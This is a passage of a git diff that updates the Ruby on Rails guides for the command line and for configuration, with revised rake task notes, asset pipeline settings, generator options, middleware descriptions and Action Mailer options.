tmp:clear+ clears all the three: cache, sessions and sockets. + +h4. Miscellaneous + +* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. +* +rake secret+ will give you a pseudo-random key to use for your session secret. +* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about. + h3. The Rails Advanced Command Line More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve. @@ -393,7 +521,7 @@ We had to create the *gitapp* directory and initialize an empty git repository b <shell> $ cat config/database.yml -# PostgreSQL. Versions 7.4 and 8.x are supported. +# PostgreSQL. Versions 8.2 and up are supported. # # Install the ruby-postgres driver: # gem install ruby-postgres @@ -414,11 +542,13 @@ development: ... </shell> -It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app. +It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. + +NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app. -h4. +server+ with Different Backends +h4(#different-servers). +server+ with Different Backends -Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). +Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html. @@ -437,157 +567,6 @@ Successfully installed mongrel-1.1.5 Installing RDoc documentation for mongrel-1.1.5... $ rails server mongrel => Booting Mongrel (use 'rails server webrick' to force WEBrick) -=> Rails 3.0.0 application starting on http://0.0.0.0:3000 +=> Rails 3.1.0 application starting on http://0.0.0.0:3000 ... </shell> - -h4. The Rails Generation: Generators - -INFO: For a good rundown on generators, see "Understanding Generators":http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators. A lot of its material is presented here. - -Generators are code that generates code. Let's experiment by building one. Our generator will generate a text file. - -The Rails generator by default looks in these places for available generators, where Rails.root is the root of your Rails application, like /home/foobar/commandsapp: - -* Rails.root/lib/generators -* Rails.root/vendor/generators -* Inside any plugin with a directory like "generators" or "rails_generators" -* ~/.rails/generators -* Inside any Gem you have installed with a name ending in "_generator" -* Inside any Gem installed with a "rails_generators" path, and a file ending in "_generator.rb" -* Finally, the builtin Rails generators (controller, model, mailer, etc.) - -Let's try the fourth option (in our home directory), which will be easy to clean up later: - -<shell> -$ mkdir -p ~/.rails/generators/tutorial_test/templates -$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb -$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb -</shell> - -We'll fill +tutorial_test_generator.rb+ out with: - -<ruby> -class TutorialTestGenerator < Rails::Generator::Base - def initialize(*runtime_args) - super(*runtime_args) - @tut_args = runtime_args - end - - def manifest - record do |m| - m.directory "public" - m.template "tutorial.erb", File.join("public", "tutorial.txt"), - :assigns => { :args => @tut_args } - end - end -end -</ruby> - -We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a +manifest+ method, which calls +record+ with a block, and we: - -* Check there's a *public* directory. You bet there is. -* Run the ERB template called "tutorial.erb". -* Save it into "Rails.root/public/tutorial.txt". -* Pass in the arguments we saved through the +:assigns+ parameter. - -Next we'll build the template: - -<shell> -$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb -I'm a template! - -I got assigned some args: -<%= require 'pp'; PP.pp(args, "") %> -</shell> - -Then we'll make sure it got included in the list of available generators: - -<shell> -$ rails generate -... -... -Installed Generators - User: tutorial_test -</shell> - -SWEET! Now let's generate some text, yeah! - -<shell> -$ rails generate tutorial_test arg1 arg2 arg3 - exists public - create public/tutorial.txt -</shell> - -And the result: - -<shell> -$ cat public/tutorial.txt -I'm a template! - -I got assigned some args: -[["arg1", "arg2", "arg3"], - {:collision=>:ask, - :quiet=>false, - :generator=>"tutorial_test", - :command=>:create}] -</shell> - -Tada! - -h4. Rake is Ruby Make - -Rake is a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. - -You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need. - -<shell> -$ rake --tasks -(in /home/foobar/commandsapp) -rake db:abort_if_pending_migrations # Raises an error if there are pending migrations -rake db:charset # Retrieves the charset for the current environment's database -rake db:collation # Retrieves the collation for the current environment's database -rake db:create # Create the database defined in config/database.yml for the current Rails.env -... -... -rake tmp:pids:clear # Clears all files in tmp/pids -rake tmp:sessions:clear # Clears all files in tmp/sessions -rake tmp:sockets:clear # Clears all files in tmp/sockets -</shell> - -h5. +db:+ Database - -The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database. - -h5. +doc:+ Documentation - -If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. - -h5. +notes:+ Code note enumeration - -These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them. - -h5. +test:+ Rails tests - -INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html - -Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. - -The +test:+ namespace helps in running the different tests you will (hopefully!) write. - -h5. +time:+ Timezones - -You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life. - -h5. +tmp:+ Temporary files - -The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of deletions gone awry. - -h5. Miscellaneous Tasks - - +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. - - +rake secret+ will give you a pseudo-random key to use for your session secret. - - +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. - diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index fbe3d46367..bb494fbd33 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -18,7 +18,7 @@ Rails offers four standard spots to place initialization code: h3. Running Code Before Rails -In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in your +config/application.rb+. +In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+. h3. Configuring Rails Components @@ -40,7 +40,7 @@ Rails will use that particular setting to configure Active Record. h4. Rails General Configuration -* +config.after_initialize+ takes a block which will be ran _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Useful for configuring values set up by other initializers: +* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: <ruby> config.after_initialize do @@ -52,17 +52,19 @@ end * +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+. -* +config.asset_path+ can take a callable, a string, or be +nil+. Default is +nil+. If set, this configuration parameter let's you decorate asset paths. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. *This option is ignored if the asset pipeline is enabled, which is by default*. Shorter version of +config.action_controller.asset_path+. +* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+. <ruby> config.asset_path = proc { |path| "/blog/public#{path}" } </ruby> +NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default. + * +config.autoload_once_paths+ accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if +config.cache_classes+ is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in +autoload_paths+. Default is an empty array. * +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+. -* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to true in development mode, and false in test and production modes. Can also be enabled with +threadsafe!+. +* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+. * +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+. @@ -84,11 +86,11 @@ config.asset_path = proc { |path| "/blog/public#{path}" } * +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+. -* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode. +* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode. -* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":configuring-middleware section below. +* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below. -* +config.plugins+ accepts the list of plugins to load. If this is set to +nil+, default, all plugins will be loaded. If this is set to +[]+, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option let's you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol +:all+ to have the rest loaded without the need to specify them. +* +config.plugins+ accepts the list of plugins to load. The default is +nil+ in which case all plugins will be loaded. If this is set to +[]+, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option lets you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol +:all+ to have the rest loaded without the need to specify them. * +config.preload_frameworks+ enables or disables preloading all frameworks at startup. Enabled by +config.threadsafe!+. Defaults to +nil+, so is disabled. @@ -96,9 +98,9 @@ config.asset_path = proc { |path| "/blog/public#{path}" } * +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+. -* +config.serve_static_assets+ configures Rails to serve static assets. Defaults to true, but in the production environment is turned off. The server software used to run the application should be used to serve the assets instead. +* +config.serve_static_assets+ configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. -* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+, default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified like so: +* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: <ruby> config.session_store :my_custom_store @@ -114,52 +116,85 @@ WARNING: Threadsafe operation is incompatible with the normal workings of develo * +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments. +h4. Configuring Assets + +Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful. + * +config.assets.enabled+ a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in +config/application.rb+. +* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+. + +* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem. + +* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. + +* +config.assets.paths+ contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets. + +* +config.assets.precompile+ allows you to specify additional assets (other than +application.css+ and +application.js+) which are to be precompiled when +rake assets:precompile+ is run. + +* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+. + +* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+. + +* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+. + +* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+. + +* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store. + +* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. + +* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. + + h4. Configuring Generators Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block: <ruby> - config.generators do |g| - g.orm :active_record - g.test_framework :test_unit - end +config.generators do |g| + g.orm :active_record + g.test_framework :test_unit +end </ruby> The full set of methods that can be used in this block are as follows: -* +force_plural+ allows pluralized model names. Defaults to _false_. -* +helper+ defines whether or not to generate helpers. Defaults to _true_. -* +orm+ defines which orm to use. Defaults to _nil_, so will use Active Record by default. -* +integration_tool+ defines which integration tool to use. Defaults to _nil_. -* +performance_tool+ defines which performance tool to use. Defaults to _nil_. +* +assets+ allows to create assets on generating a scaffold. Defaults to +true+. +* +force_plural+ allows pluralized model names. Defaults to +false+. +* +helper+ defines whether or not to generate helpers. Defaults to +true+. +* +integration_tool+ defines which integration tool to use. Defaults to +nil+. +* +javascripts+ turns on the hook for javascripts in generators. Used in Rails for when the +scaffold+ generator is ran. Defaults to +true+. +* +javascript_engine+ configures the engine to be used (for eg. coffee) when generating assets. Defaults to +nil+. +* +orm+ defines which orm to use. Defaults to +false+ and will use Active Record by default. +* +performance_tool+ defines which performance tool to use. Defaults to +nil+. * +resource_controller+ defines which generator to use for generating a controller when using +rails generate resource+. Defaults to +:controller+. * +scaffold_controller+ different from +resource_controller+, defines which generator to use for generating a _scaffolded_ controller when using +rails generate scaffold+. Defaults to +:scaffold_controller+. -* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is ran, but this hook can be used in other generates as well. -* +test_framework+ defines which test framework to use. Defaults to _nil_, so will use Test::Unit by default. +* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is ran, but this hook can be used in other generates as well. Defaults to +true+. +* +stylesheet_engine+ configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to +:css+. +* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default. * +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+. h4. Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to _true_. -* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is _true_. -* +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to _false_, which it is by default. -* +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* +Rack::Runtime+ Sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. -* +Rails::Rack::Logger+ Will notify the logs that the request has began. After request is complete, flushes all the logs. -* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to _true_. If +config.action_dispatch.show_exceptions+ is set to _false_, exceptions will be raised regardless. +* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. +* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. +* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. +* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. +* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs. +* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. * +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. -* +Rack::Sendfile+ The Sendfile middleware intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+ -* +ActionDispatch::Callbacks+ Runs the prepare callbacks before serving the request. -* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to _true_. -* +ActiveRecord::QueryCache+ caches all +SELECT+ queries generated in a request. If an +INSERT+ or +UPDATE+ takes place then the cache is cleaned. +* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. +* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request. +* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+. +* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. * +ActionDispatch::Cookies+ sets cookies for the request. * +ActionDispatch::Session::CookieStore+ is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the +config.action_controller.session_store+ to an alternate value. Additionally, options passed to this can be configured by using +config.action_controller.session_options+. * +ActionDispatch::Flash+ sets up the +flash+ keys. Only available if +config.action_controller.session_store+ is set to a value. -* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+ +* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+. * +Rack::MethodOverride+ allows the method to be overridden if +params[:_method]+ is set. This is the middleware which supports the PUT and DELETE HTTP method types. * +ActionDispatch::Head+ converts HEAD requests to GET requests and serves them as so. * +ActionDispatch::BestStandardsSupport+ enables "best standards support" so that IE8 renders some elements correctly. @@ -167,44 +202,44 @@ Every Rails application comes with a standard set of middleware which it uses in Besides these usual middleware, you can add your own by using the +config.middleware.use+ method: <ruby> - config.middleware.use Magical::Unicorns +config.middleware.use Magical::Unicorns </ruby> -This will put the +Magical::Unicorns+ middleware on the end of the stack. If you wish to put this middleware before another use +insert_before+: +This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another. <ruby> - config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns +config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns </ruby> -There's also +insert_after+ which will insert a middleware _after_ another: +There's also +insert_after+ which will insert a middleware after another: <ruby> - config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns +config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns </ruby> Middlewares can also be completely swapped out and replaced with others: <ruby> - config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns +config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns </ruby> They can also be removed from the stack completely: <ruby> - config.middleware.delete ActionDispatch::BestStandardsSupport +config.middleware.delete ActionDispatch::BestStandardsSupport </ruby> h4. Configuring i18n * +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+. -* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+ +* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+. h4. Configuring Active Record <tt>config.active_record</tt> includes a variety of configuration options: -* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to nil to disable logging. +* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to +nil+ to disable logging. * +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: ** +:table_name+ would make the primary key for the Customer class +customerid+ @@ -214,21 +249,21 @@ h4. Configuring Active Record * +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. -* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table. +* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the +customers+ table. If set to false, then the Customer class will use the +customer+ table. -* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although ActiveRecord defaults to +:local+ when used outside of Rails. +* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although Active Record defaults to +:local+ when used outside of Rails. * +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. -* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application. +* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application. -* +config.active_record.lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+. +* +config.active_record.lock_optimistically+ controls whether Active Record will use optimistic locking and is true by default. * +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app. The MySQL adapter adds one additional configuration option: -* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+. +* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default. The schema dumper adds one additional configuration option: @@ -244,17 +279,17 @@ h4. Configuring Action Controller * +config.action_controller.page_cache_directory+ should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>. For Rails, this directory has already been set to +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). Changing this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your web server to look in the new location for cached files. -* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+ +* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+. -* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to _false_ in development mode, _true_ in production. +* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to false in development mode, true in production. * +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8". -* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. +* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to +nil+ to disable logging. * +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. -* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes. +* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is false in test mode and true in all other modes. * +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. @@ -288,45 +323,49 @@ h4. Configuring Action View There are only a few configuration options for Action View, starting with four on +ActionView::Base+: -* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| %Q(%<div class="field_with_errors">#{html_tag}</div>).html_safe }</tt> +* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is + +<ruby> +Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe } +</ruby> * +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. -* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. +* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging. * +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information. * +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as: <ruby> - config.action_view.javascript_expansions = { :defaults => ['prototype', 'effects', 'dragdrop', 'controls', 'rails'] } +config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) } </ruby> However, you may add to this by defining others: <ruby> - config.action_view.javascript_expansions[:jquery] = ["jquery", "jquery-ui"] +config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls'] </ruby> And can reference in the view with the following code: <ruby> - <%= javascript_include_tag :jquery %> +<%= javascript_include_tag :prototype %> </ruby> * +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such: <ruby> - <%= stylesheet_link_tag :special %> +<%= stylesheet_link_tag :special %> </ruby> -* +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running. +* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running. h4. Configuring Action Mailer There are a number of settings available on +config.action_mailer+: -* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. +* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging. * +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: ** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting. @@ -340,25 +379,35 @@ There are a number of settings available on +config.action_mailer+: ** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+. ** +:arguments+ - The command line arguments. Defaults to +-i -t+. -* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+. +* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to true. * +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. -* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing. +* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing. * +config.action_mailer.default+ configures Action Mailer defaults. These default to: <ruby> - :mime_version => "1.0", - :charset => "UTF-8", - :content_type => "text/plain", - :parts_order => [ "text/plain", "text/enriched", "text/html" ] +:mime_version => "1.0", +:charset => "UTF-8", +:content_type => "text/plain", +:parts_order => [ "text/plain", "text/enriched", "text/html" ] +</ruby> + +* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered. +<ruby> +config.action_mailer.observers = ["MailObserver"] +</ruby> + +* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent. +<ruby> +config.action_mailer.interceptors = ["MailInterceptor"] </ruby> h4. Configuring Active Resource There is a single configuration setting available on +config.active_resource+: -* 